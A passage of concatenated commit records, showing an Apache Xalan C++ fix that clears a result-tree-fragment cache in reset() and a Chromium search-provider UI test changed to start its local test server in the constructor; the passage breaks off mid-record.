m_xnumberAllocator.createNumber(theValue);\n\n\t\ttheXObject->setFactory(this);\n\n\t\treturn XObjectPtr(theXObject);\n\t}\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNumber(const XToken&\ttheValue)\n{\n\tXObject*\ttheXObject = m_xtokenNumberAdapterAllocator.create(theValue);\n\n\ttheXObject->setFactory(this);\n\n\treturn XObjectPtr(theXObject);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNodeSet(BorrowReturnMutableNodeRefList&\ttheValue)\n{\n\tif (m_xnodesetCache.size() > 0)\n\t{\n\t\tXNodeSet* const\t\ttheXObject = m_xnodesetCache.back();\n\n\t\tm_xnodesetCache.pop_back();\n\n\t\ttheXObject->set(theValue);\n\n\t\treturn XObjectPtr(theXObject);\n\t}\n\telse\n\t{\n\t\tm_xnodesetCache.reserve(eXNodeSetCacheMax);\n\n\t\tXNodeSet* const\t\ttheXObject = m_xnodesetAllocator.createNodeSet(theValue);\n\n\t\ttheXObject->setFactory(this);\n\n\t\treturn XObjectPtr(theXObject);\n\t}\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(const XalanDOMString&\ttheValue)\n{\n\tXString* const\ttheXString = m_xstringAllocator.createString(theValue);\n\n\ttheXString->setFactory(this);\n\n\treturn XObjectPtr(theXString);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(const XalanDOMChar*\t\ttheValue)\n{\n\tXString* const\ttheXString = m_xstringAllocator.createString(theValue);\n\n\ttheXString->setFactory(this);\n\n\treturn XObjectPtr(theXString);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(\n\t\t\tconst XalanDOMChar*\t\ttheValue,\n\t\t\tunsigned int\t\t\ttheLength)\n{\n\tXString* const\ttheXString = m_xstringAllocator.createString(theValue, theLength);\n\n\ttheXString->setFactory(this);\n\n\treturn XObjectPtr(theXString);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(const XToken&\ttheValue)\n{\n\tXObject*\ttheXObject = m_xtokenStringAdapterAllocator.create(theValue);\n\n\ttheXObject->setFactory(this);\n\n\treturn XObjectPtr(theXObject);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createStringReference(const XalanDOMString&\ttheValue)\n{\n\tXStringReference* const\ttheXStringReference = m_xstringReferenceAllocator.createString(theValue);\n\n\ttheXStringReference->setFactory(this);\n\n\treturn XObjectPtr(theXStringReference);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createStringAdapter(const XObjectPtr&\ttheValue)\n{\n\tXStringAdapter* const\ttheXStringAdapter = m_xstringAdapterAllocator.createString(theValue);\n\n\ttheXStringAdapter->setFactory(this);\n\n\treturn XObjectPtr(theXStringAdapter);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(GetAndReleaseCachedString&\ttheValue)\n{\n\tXStringCached* const\ttheXStringCached = m_xstringCachedAllocator.createString(theValue);\n\n\ttheXStringCached->setFactory(this);\n\n\treturn XObjectPtr(theXStringCached);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createResultTreeFrag(BorrowReturnResultTreeFrag&\t\ttheValue)\n{\n\tif (m_xresultTreeFragCache.size() > 0)\n\t{\n\t\tXResultTreeFrag* const\ttheResultTreeFrag = m_xresultTreeFragCache.back();\n\n\t\tm_xresultTreeFragCache.pop_back();\n\n\t\ttheResultTreeFrag->set(theValue);\n\n\t\treturn XObjectPtr(theResultTreeFrag);\n\t}\n\telse\n\t{\n\t\tm_xresultTreeFragCache.reserve(eXResultTreeFragCacheMax);\n\n\t\tXResultTreeFrag* const\ttheResultTreeFrag =  m_xresultTreeFragAllocator.create(theValue);\n\n\t\ttheResultTreeFrag->setFactory(this);\n\n\t\treturn XObjectPtr(theResultTreeFrag);\n\t}\n}\n\n\n\nvoid\nXObjectFactoryDefault::reset()\n{\n\tm_xstringAdapterAllocator.reset();\n\n\tm_xstringAllocator.reset();\n\n\tm_xstringReferenceAllocator.reset();\n\n\tm_xnumberAllocator.reset();\n\n\tm_xnodesetAllocator.reset();\n\n\tm_xresultTreeFragAllocator.reset();\n\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::for_each;\n#endif\n\n\tfor_each(m_xobjects.begin(),\n\t\t\t m_xobjects.end(),\n\t\t\t DeleteXObjectFunctor(*this, true));\n\n\tm_xobjects.clear();\n\n\tm_xnumberCache.clear();\n\n\tm_xnodesetCache.clear();\n}\n<commit_msg>Fixed bug were result tree cache wasn't cleared in reset().<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/\/ Class header file...\n#include \"XObjectFactoryDefault.hpp\"\n\n\n\n#include <algorithm>\n#include <memory>\n\n\n\n#include \"XBoolean.hpp\"\n#include \"XNodeSet.hpp\"\n#include \"XNull.hpp\"\n#include \"XNumber.hpp\"\n#include \"XResultTreeFrag.hpp\"\n#include \"XSpan.hpp\"\n#include \"XString.hpp\"\n#include \"XStringAdapter.hpp\"\n#include \"XStringCached.hpp\"\n#include \"XStringReference.hpp\"\n#include \"XUnknown.hpp\"\n\n\n\nXObjectFactoryDefault::XObjectFactoryDefault(\n\t\t\tunsigned int\ttheXStringBlockSize,\n\t\t\tunsigned int\ttheXNumberBlockSize,\n\t\t\tunsigned int\ttheXNodeSetBlockSize,\n\t\t\tunsigned int\ttheXResultTreeFragBlockSize) :  \n\tXObjectFactory(),\n\tm_xstringAdapterAllocator(theXStringBlockSize),\n\tm_xstringAllocator(theXStringBlockSize),\n\tm_xstringCachedAllocator(theXStringBlockSize),\n\tm_xstringReferenceAllocator(theXStringBlockSize),\n\tm_xnumberAllocator(theXNumberBlockSize),\n\tm_xnodesetAllocator(theXNodeSetBlockSize),\n\tm_xresultTreeFragAllocator(theXResultTreeFragBlockSize),\n\tm_xtokenNumberAdapterAllocator(theXNumberBlockSize),\n\tm_xtokenStringAdapterAllocator(theXStringBlockSize),\n\tm_xobjects(),\n\tm_xnumberCache(),\n\tm_xnodesetCache(),\n\tm_xresultTreeFragCache(),\n\tm_XNull(new XNull),\n\tm_xbooleanFalse(new XBoolean(false)),\n\tm_xbooleanTrue(new XBoolean(true))\n{\n}\n\n\n\nXObjectFactoryDefault::~XObjectFactoryDefault()\n{\n\treset();\n}\n\n\n\nbool\nXObjectFactoryDefault::doReturnObject(\n\t\t\tXObject*\ttheXObject,\n\t\t\tbool\t\tfInReset)\n{\n\tassert(theXObject != 0);\n\n\tbool bStatus = false;\t\n\n\tconst XObject::eObjectType\ttheType = getRealType(*theXObject);\n\n\tswitch(theType)\n\t{\n\tcase XObject::eTypeBoolean:\n\tcase XObject::eTypeNull:\n\t\t{\t\t\n\t\t\tbStatus = true;\n\t\t}\n\n\tcase XObject::eTypeStringAdapter:\n\t\t{\n\t\t\tXStringAdapter* const\t\ttheXStringAdapter =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XStringAdapter*)theXObject;\n#else\n\t\t\t\tstatic_cast<XStringAdapter*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringAdapterAllocator.destroy(theXStringAdapter);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeXTokenNumberAdapter:\n\t\t{\n\t\t\tXTokenNumberAdapter* const\ttheAdapter =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XTokenNumberAdapter*)theXObject;\n#else\n\t\t\t\tstatic_cast<XTokenNumberAdapter*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xtokenNumberAdapterAllocator.destroy(theAdapter);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeXTokenStringAdapter:\n\t\t{\n\t\t\tXTokenStringAdapter* const\ttheAdapter =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XTokenStringAdapter*)theXObject;\n#else\n\t\t\t\tstatic_cast<XTokenStringAdapter*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xtokenStringAdapterAllocator.destroy(theAdapter);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeString:\n\t\t{\n\t\t\tXString* const\ttheXString =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XString*)theXObject;\n#else\n\t\t\t\tstatic_cast<XString*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringAllocator.destroy(theXString);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeStringCached:\n\t\t{\n\t\t\tXStringCached* const\ttheXStringCached =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XStringCached*)theXObject;\n#else\n\t\t\t\tstatic_cast<XStringCached*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringCachedAllocator.destroy(theXStringCached);\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeStringReference:\n\t\t{\n\t\t\tXStringReference* const\t\ttheXStringReference =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XStringReference*)theXObject;\n#else\n\t\t\t\tstatic_cast<XStringReference*>(theXObject);\n#endif\n\n\t\t\tbStatus = m_xstringReferenceAllocator.destroy(theXStringReference);\n\t\t}\n\t\tbreak;\n\n\tcase  XObject::eTypeNumber:\n\t\t{\n\t\t\tXNumber* const\ttheXNumber =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XNumber*)theXObject;\n#else\n\t\t\t\tstatic_cast<XNumber*>(theXObject);\n#endif\n\n\t\t\tif (m_xnumberCache.size() < eXNumberCacheMax)\n\t\t\t{\n\t\t\t\tm_xnumberCache.push_back(theXNumber);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbStatus = m_xnumberAllocator.destroy(theXNumber);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeNodeSet:\n\t\t{\n\t\t\tXNodeSet* const\t\ttheXNodeSet =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XNodeSet*)theXObject;\n#else\n\t\t\t\tstatic_cast<XNodeSet*>(theXObject);\n#endif\n\n\t\t\tif (m_xnodesetCache.size() < eXNodeSetCacheMax)\n\t\t\t{\n\t\t\t\ttheXNodeSet->release();\n\n\t\t\t\tm_xnodesetCache.push_back(theXNodeSet);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbStatus = m_xnodesetAllocator.destroy(theXNodeSet);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\tcase XObject::eTypeResultTreeFrag:\t\n\t\t{\n\t\t\tXResultTreeFrag* const\ttheXResultTreeFrag =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t(XResultTreeFrag*)theXObject;\n#else\n\t\t\t\tstatic_cast<XResultTreeFrag*>(theXObject);\n#endif\n\n\t\t\tif (m_xresultTreeFragCache.size() < eXResultTreeFragCacheMax)\n\t\t\t{\n\t\t\t\tm_xresultTreeFragCache.push_back(theXResultTreeFrag);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tbStatus = m_xresultTreeFragAllocator.destroy(theXResultTreeFrag);\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\tdefault:\n\t\t{\n#if !defined(XALAN_NO_NAMESPACES)\n\t\t\tusing std::find;\n#endif\n\n\t\t\tconst XObjectCollectionType::iterator\ti =\n\t\t\t\t\tfind(m_xobjects.begin(), m_xobjects.end(), theXObject);\n\n\t\t\tif (i != m_xobjects.end())\n\t\t\t{\n\t\t\t\tif (fInReset == false)\n\t\t\t\t{\n\t\t\t\t\tm_xobjects.erase(i);\n\t\t\t\t}\n\n\t\t\t\tdeleteObject(theXObject);\n\n\t\t\t\tbStatus = true;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t}\n\t\n\treturn bStatus;\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createBoolean(\n\t\t\tbool\ttheValue)\n{\n\tif (theValue == true)\n\t{\n\t\treturn XObjectPtr(m_xbooleanTrue.get());\n\t}\n\telse\n\t{\n\t\treturn XObjectPtr(m_xbooleanFalse.get());\n\t}\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNull()\n{\t\n\treturn XObjectPtr(m_XNull.get());\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createUnknown(const XalanDOMString&\ttheValue)\n{\n\tXUnknown* const\ttheXUnknown = new XUnknown(theValue);\n\n\tm_xobjects.push_back(theXUnknown);\n\n\ttheXUnknown->setFactory(this);\n\n\treturn XObjectPtr(theXUnknown);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createSpan(BorrowReturnMutableNodeRefList&\ttheValue)\n{\n\tXSpan* const\ttheXObject = new XSpan(theValue);\n\n\tm_xobjects.push_back(theXObject);\n\n\ttheXObject->setFactory(this);\n\n\treturn XObjectPtr(theXObject);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNumber(double\ttheValue)\n{\n\tif (m_xnumberCache.size() > 0)\n\t{\n\t\tXNumber* const\ttheXNumber = m_xnumberCache.back();\n\n\t\tm_xnumberCache.pop_back();\n\n\t\ttheXNumber->set(theValue);\n\n\t\treturn XObjectPtr(theXNumber);\n\t}\n\telse\n\t{\n\t\tm_xnumberCache.reserve(eXNumberCacheMax);\n\n\t\tXObject* const\ttheXObject = m_xnumberAllocator.createNumber(theValue);\n\n\t\ttheXObject->setFactory(this);\n\n\t\treturn XObjectPtr(theXObject);\n\t}\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNumber(const XToken&\ttheValue)\n{\n\tXObject*\ttheXObject = m_xtokenNumberAdapterAllocator.create(theValue);\n\n\ttheXObject->setFactory(this);\n\n\treturn XObjectPtr(theXObject);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createNodeSet(BorrowReturnMutableNodeRefList&\ttheValue)\n{\n\tif (m_xnodesetCache.size() > 0)\n\t{\n\t\tXNodeSet* const\t\ttheXObject = m_xnodesetCache.back();\n\n\t\tm_xnodesetCache.pop_back();\n\n\t\ttheXObject->set(theValue);\n\n\t\treturn XObjectPtr(theXObject);\n\t}\n\telse\n\t{\n\t\tm_xnodesetCache.reserve(eXNodeSetCacheMax);\n\n\t\tXNodeSet* const\t\ttheXObject = m_xnodesetAllocator.createNodeSet(theValue);\n\n\t\ttheXObject->setFactory(this);\n\n\t\treturn XObjectPtr(theXObject);\n\t}\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(const XalanDOMString&\ttheValue)\n{\n\tXString* const\ttheXString = m_xstringAllocator.createString(theValue);\n\n\ttheXString->setFactory(this);\n\n\treturn XObjectPtr(theXString);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(const XalanDOMChar*\t\ttheValue)\n{\n\tXString* const\ttheXString = m_xstringAllocator.createString(theValue);\n\n\ttheXString->setFactory(this);\n\n\treturn XObjectPtr(theXString);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(\n\t\t\tconst XalanDOMChar*\t\ttheValue,\n\t\t\tunsigned int\t\t\ttheLength)\n{\n\tXString* const\ttheXString = m_xstringAllocator.createString(theValue, theLength);\n\n\ttheXString->setFactory(this);\n\n\treturn XObjectPtr(theXString);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(const XToken&\ttheValue)\n{\n\tXObject*\ttheXObject = m_xtokenStringAdapterAllocator.create(theValue);\n\n\ttheXObject->setFactory(this);\n\n\treturn XObjectPtr(theXObject);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createStringReference(const XalanDOMString&\ttheValue)\n{\n\tXStringReference* const\ttheXStringReference = m_xstringReferenceAllocator.createString(theValue);\n\n\ttheXStringReference->setFactory(this);\n\n\treturn XObjectPtr(theXStringReference);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createStringAdapter(const XObjectPtr&\ttheValue)\n{\n\tXStringAdapter* const\ttheXStringAdapter = m_xstringAdapterAllocator.createString(theValue);\n\n\ttheXStringAdapter->setFactory(this);\n\n\treturn XObjectPtr(theXStringAdapter);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createString(GetAndReleaseCachedString&\ttheValue)\n{\n\tXStringCached* const\ttheXStringCached = m_xstringCachedAllocator.createString(theValue);\n\n\ttheXStringCached->setFactory(this);\n\n\treturn XObjectPtr(theXStringCached);\n}\n\n\n\nconst XObjectPtr\nXObjectFactoryDefault::createResultTreeFrag(BorrowReturnResultTreeFrag&\t\ttheValue)\n{\n\tif (m_xresultTreeFragCache.size() > 0)\n\t{\n\t\tXResultTreeFrag* const\ttheResultTreeFrag = m_xresultTreeFragCache.back();\n\n\t\tm_xresultTreeFragCache.pop_back();\n\n\t\ttheResultTreeFrag->set(theValue);\n\n\t\treturn XObjectPtr(theResultTreeFrag);\n\t}\n\telse\n\t{\n\t\tm_xresultTreeFragCache.reserve(eXResultTreeFragCacheMax);\n\n\t\tXResultTreeFrag* const\ttheResultTreeFrag =  m_xresultTreeFragAllocator.create(theValue);\n\n\t\ttheResultTreeFrag->setFactory(this);\n\n\t\treturn XObjectPtr(theResultTreeFrag);\n\t}\n}\n\n\n\nvoid\nXObjectFactoryDefault::reset()\n{\n\tm_xstringAdapterAllocator.reset();\n\n\tm_xstringAllocator.reset();\n\n\tm_xstringReferenceAllocator.reset();\n\n\tm_xnumberAllocator.reset();\n\n\tm_xnodesetAllocator.reset();\n\n\tm_xresultTreeFragAllocator.reset();\n\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::for_each;\n#endif\n\n\tfor_each(m_xobjects.begin(),\n\t\t\t m_xobjects.end(),\n\t\t\t DeleteXObjectFunctor(*this, true));\n\n\tm_xobjects.clear();\n\n\tm_xnumberCache.clear();\n\n\tm_xnodesetCache.clear();\n\n\tm_xresultTreeFragCache.clear();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/app\/chrome_dll_resource.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"net\/base\/escape.h\"\n#include \"net\/test\/test_server.h\"\n\nstruct IsSearchProviderTestData;\n\nclass SearchProviderTest : public UITest {\n protected:\n  SearchProviderTest();\n\n  IsSearchProviderTestData StartIsSearchProviderInstalledTest(\n      BrowserProxy* browser_proxy,\n      const char* host,\n      const char* expected_result);\n\n  void FinishIsSearchProviderInstalledTest(\n      const IsSearchProviderTestData& data);\n\n  net::TestServer test_server_;\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(SearchProviderTest);\n};\n\nSearchProviderTest::SearchProviderTest()\n    : test_server_(net::TestServer::TYPE_HTTP,\n                   FilePath(FILE_PATH_LITERAL(\"chrome\/test\/data\"))) {\n  \/\/ Enable the search provider additions.\n  launch_arguments_.AppendSwitch(switches::kEnableSearchProviderApiV2);\n\n  \/\/ Map all hosts to our local server.\n  std::string host_rule(\"MAP * \" + test_server_.host_port_pair().ToString());\n  launch_arguments_.AppendSwitchASCII(switches::kHostRules, host_rule);\n}\n\nstruct IsSearchProviderTestData {\n  IsSearchProviderTestData() {\n  }\n\n  IsSearchProviderTestData(TabProxy* t,\n                           std::string h,\n                           GURL url)\n      : tab(t),\n        host(h),\n        test_url(url) {\n  }\n\n  scoped_refptr<TabProxy> tab;\n  std::string host;\n  GURL test_url;\n};\n\nIsSearchProviderTestData SearchProviderTest::StartIsSearchProviderInstalledTest(\n    BrowserProxy* browser_proxy,\n    const char* host,\n    const char* expected_result) {\n  \/\/ Set-up a new tab for the navigation.\n  int num_tabs = 0;\n  if (!browser_proxy->GetTabCount(&num_tabs)) {\n    ADD_FAILURE() << \"BrowserProxy::GetTabCount failed.\";\n    return IsSearchProviderTestData();\n  }\n\n  GURL blank(chrome::kAboutBlankURL);\n  if (!browser_proxy->AppendTab(blank)) {\n    ADD_FAILURE() << \"BrowserProxy::AppendTab failed.\";\n    return IsSearchProviderTestData();\n  }\n\n  scoped_refptr<TabProxy> tab(browser_proxy->GetTab(num_tabs));\n  if (!tab.get()) {\n    ADD_FAILURE() << \"BrowserProxy::GetTab for the new tab failed.\";\n    return IsSearchProviderTestData();\n  }\n\n  \/\/ Go to the test page.\n  GURL local_url =\n      test_server_.GetURL(\"files\/is_search_provider_installed.html\");\n  GURL test_url(std::string(\"http:\/\/\") + host + local_url.path() +\n                \"#\" + expected_result);\n  EXPECT_TRUE(tab->NavigateToURLAsync(test_url));\n\n  \/\/ Bundle up information needed to verify the result.\n  return IsSearchProviderTestData(tab, host, test_url);\n}\n\nvoid SearchProviderTest::FinishIsSearchProviderInstalledTest(\n    const IsSearchProviderTestData& data) {\n  ASSERT_TRUE(data.tab.get());\n\n  std::string cookie_name = data.host + \"testResult\";\n  std::string escaped_value =\n      WaitUntilCookieNonEmpty(data.tab, data.test_url,\n                              cookie_name.c_str(), action_max_timeout_ms());\n\n  \/\/ Unescapes and normalizes the actual result.\n  std::string value = UnescapeURLComponent(\n      escaped_value,\n      UnescapeRule::NORMAL | UnescapeRule::SPACES |\n      UnescapeRule::URL_SPECIAL_CHARS | UnescapeRule::CONTROL_CHARS);\n  value += \"\\n\";\n  ReplaceSubstringsAfterOffset(&value, 0, \"\\r\", \"\");\n  EXPECT_STREQ(\"1\\n\", value.c_str());\n}\n\nTEST_F(SearchProviderTest, TestIsSearchProviderInstalled) {\n  ASSERT_TRUE(test_server_.Start());\n\n  \/\/ Use the default search provider, other installed search provider, and\n  \/\/ one not installed as well. (Note that yahoo isn't tested because the\n  \/\/ its host name varies a lot for different locales unlike Google and Bing,\n  \/\/ which would make the test fail depending on the machine's locale.)\n  const char* test_hosts[] = { \"www.google.com\",\n                               \"www.bing.com\",\n                               \"localhost\" };\n  const char* expected_results[] = { \"2\",\n                                     \"1\",\n                                     \"0\" };\n  COMPILE_ASSERT(arraysize(test_hosts) == arraysize(expected_results),\n                 there_should_be_a_result_for_each_host);\n  IsSearchProviderTestData test_data[2 * arraysize(test_hosts)];\n\n  \/\/ Start results for the normal mode.\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  ASSERT_TRUE(browser.get());\n  for (size_t i = 0; i < arraysize(test_hosts); ++i) {\n    test_data[i] = StartIsSearchProviderInstalledTest(\n        browser, test_hosts[i], expected_results[i]);\n    FinishIsSearchProviderInstalledTest(test_data[i]);\n  }\n\n  \/\/ Start tests for incognito mode (and verify the result is 0).\n  ASSERT_TRUE(browser->RunCommand(IDC_NEW_INCOGNITO_WINDOW));\n  scoped_refptr<BrowserProxy> incognito(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(incognito.get());\n  for (size_t i = 0; i < arraysize(test_hosts); ++i) {\n    test_data[i + arraysize(test_hosts)] = StartIsSearchProviderInstalledTest(\n        incognito, test_hosts[i], \"0\");\n    FinishIsSearchProviderInstalledTest(test_data[i + arraysize(test_hosts)]);\n  }\n\n  \/\/ The following should be re-enabled. At the moment, there are problems with\n  \/\/ doing all of these queries in parallel -- see http:\/\/crbug.com\/60043.\n#if 0\n  \/\/ Remove the calls to FinishIsSearchProviderInstalledTest above when\n  \/\/ re-enabling this code.\n\n  \/\/ Do the verification.\n  for (size_t i = 0; i < arraysize(test_data); ++i) {\n    FinishIsSearchProviderInstalledTest(test_data[i]);\n  }\n#endif\n}\n<commit_msg>This change moves the test_server_.Start from the test body to the test constructor. This needs to be done so the browser launch arguments can include the correct port in the mapping rules.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/app\/chrome_dll_resource.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"net\/base\/escape.h\"\n#include \"net\/test\/test_server.h\"\n\nstruct IsSearchProviderTestData;\n\nclass SearchProviderTest : public UITest {\n protected:\n  SearchProviderTest();\n\n  IsSearchProviderTestData StartIsSearchProviderInstalledTest(\n      BrowserProxy* browser_proxy,\n      const char* host,\n      const char* expected_result);\n\n  void FinishIsSearchProviderInstalledTest(\n      const IsSearchProviderTestData& data);\n\n  net::TestServer test_server_;\n  bool test_server_started_;\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(SearchProviderTest);\n};\n\nSearchProviderTest::SearchProviderTest()\n    : test_server_(net::TestServer::TYPE_HTTP,\n                   FilePath(FILE_PATH_LITERAL(\"chrome\/test\/data\"))),\n      test_server_started_(false) {\n  \/\/ The test_server is started in the constructor (rather than the test body)\n  \/\/ so the mapping rules below can include the ephemeral port number.\n  test_server_started_ = test_server_.Start();\n  if (!test_server_started_)\n    return;\n\n  \/\/ Enable the search provider additions.\n  launch_arguments_.AppendSwitch(switches::kEnableSearchProviderApiV2);\n\n  \/\/ Map all hosts to our local server.\n  std::string host_rule(\"MAP * \" + test_server_.host_port_pair().ToString());\n  launch_arguments_.AppendSwitchASCII(switches::kHostRules, host_rule);\n}\n\nstruct IsSearchProviderTestData {\n  IsSearchProviderTestData() {\n  }\n\n  IsSearchProviderTestData(TabProxy* t,\n                           std::string h,\n                           GURL url)\n      : tab(t),\n        host(h),\n        test_url(url) {\n  }\n\n  scoped_refptr<TabProxy> tab;\n  std::string host;\n  GURL test_url;\n};\n\nIsSearchProviderTestData SearchProviderTest::StartIsSearchProviderInstalledTest(\n    BrowserProxy* browser_proxy,\n    const char* host,\n    const char* expected_result) {\n  \/\/ Set-up a new tab for the navigation.\n  int num_tabs = 0;\n  if (!browser_proxy->GetTabCount(&num_tabs)) {\n    ADD_FAILURE() << \"BrowserProxy::GetTabCount failed.\";\n    return IsSearchProviderTestData();\n  }\n\n  GURL blank(chrome::kAboutBlankURL);\n  if (!browser_proxy->AppendTab(blank)) {\n    ADD_FAILURE() << \"BrowserProxy::AppendTab failed.\";\n    return IsSearchProviderTestData();\n  }\n\n  scoped_refptr<TabProxy> tab(browser_proxy->GetTab(num_tabs));\n  if (!tab.get()) {\n    ADD_FAILURE() << \"BrowserProxy::GetTab for the new tab failed.\";\n    return IsSearchProviderTestData();\n  }\n\n  \/\/ Go to the test page.\n  GURL local_url =\n      test_server_.GetURL(\"files\/is_search_provider_installed.html\");\n  GURL test_url(std::string(\"http:\/\/\") + host + local_url.path() +\n                \"#\" + expected_result);\n  EXPECT_TRUE(tab->NavigateToURLAsync(test_url));\n\n  \/\/ Bundle up information needed to verify the result.\n  return IsSearchProviderTestData(tab, host, test_url);\n}\n\nvoid SearchProviderTest::FinishIsSearchProviderInstalledTest(\n    const IsSearchProviderTestData& data) {\n  ASSERT_TRUE(data.tab.get());\n\n  std::string cookie_name = data.host + \"testResult\";\n  std::string escaped_value =\n      WaitUntilCookieNonEmpty(data.tab, data.test_url,\n                              cookie_name.c_str(), action_max_timeout_ms());\n\n  \/\/ 